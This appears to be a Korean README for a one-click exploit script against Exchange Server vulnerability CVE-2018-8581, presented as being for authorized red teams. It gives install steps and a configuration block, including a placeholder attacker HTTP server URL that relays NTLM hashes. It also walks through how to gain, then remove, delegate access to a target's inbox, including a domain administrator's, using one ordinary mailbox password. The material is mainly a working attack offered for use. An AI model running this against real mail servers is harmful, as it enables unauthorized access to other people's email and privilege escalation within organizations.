
CVE-2018-8581
이것은 메일박스 수준의 측면 이동 및 권한 상승 취약점입니다.
일반 권한의 메일박스 계정 비밀번호를 보유한 상태에서 다른 사용자(도메인 관리자 포함)의 메일박스 받은 편지함에 대한 위임 접근을 완료할 수 있습니다.
본 EXP 스크립트는 원본 PoC를 기반으로 수정된 강화형 원클릭 스크립트입니다. 관련 매개변수를 구성한 후 자동으로 대상 메일박스의 받은 편지함에 위임 추가 및 삭제 작업을 수행하여 보안 부서와 레드팀이 승인된 기업에서 모의 공격 과정을 완료할 수 있도록 합니다.
원본 PoC는 두 개의 스크립트를 함께 사용하여 수신 규칙을 추가하는 작업을 수행합니다. 실제 레드팀 작업에서는 실용성이 떨어집니다. 또한 원본 PoC는 메일박스 외에도 대상 메일박스 사용자의 SID를 설정해야 하지만, 참고 글에서 언급된 사용자 SID 획득 방법을 실제 환경에서 Exchange Server 2010 및 2013 버전에서 테스트했을 때 모두 성공적으로 재현되지 않았습니다(2010에는 관련 작업 옵션이 없고, 2013은 권한 없음 오류 발생). 최종적으로 제 접근 방식은 먼저 역방향 위임을 한 번 수행하여 대상 메일박스 사용자의 SID를 획득한 후 위임을 제거하는 것입니다.
python-ntlm 설치
pip install python-ntlm
스크립트의 다음 코드에서 관련 매개변수 구성
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
스크립트를 실행한 후, 구기자차를 한 잔 마시며 1분 기다립니다.
![]()
이제 TARGET_EMAIL의 받은 편지함(inbox)이 CONTROLLED_EMAIL에 성공적으로 위임되었습니다.
OWA 또는 Outlook에서 대상 메일박스의 받은 편지함을 확인합니다.
img2
FLAG를 0으로 변경하고 스크립트를 다시 실행한 후, 다시 구기자차를 한 잔 마시며 1분 기다리면 이전에 추가한 위임이 제거됩니다.
img3
더 이상 접근 권한이 없습니다.
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
추가 EWS SOAP API 요청은 make_relay_body() 함수 내에서 수정할 수 있습니다.
본 스크립트는 학습 및 교류용으로만 제공되며, 사용자는 관련 현지 법률을 준수해야 합니다. 다른 용도로 사용할 경우 발생하는 법적 책임은 전적으로 사용자에게 있으며, 다운로드하여 사용하는 순간 위 사항에 동의하는 것으로 간주됩니다.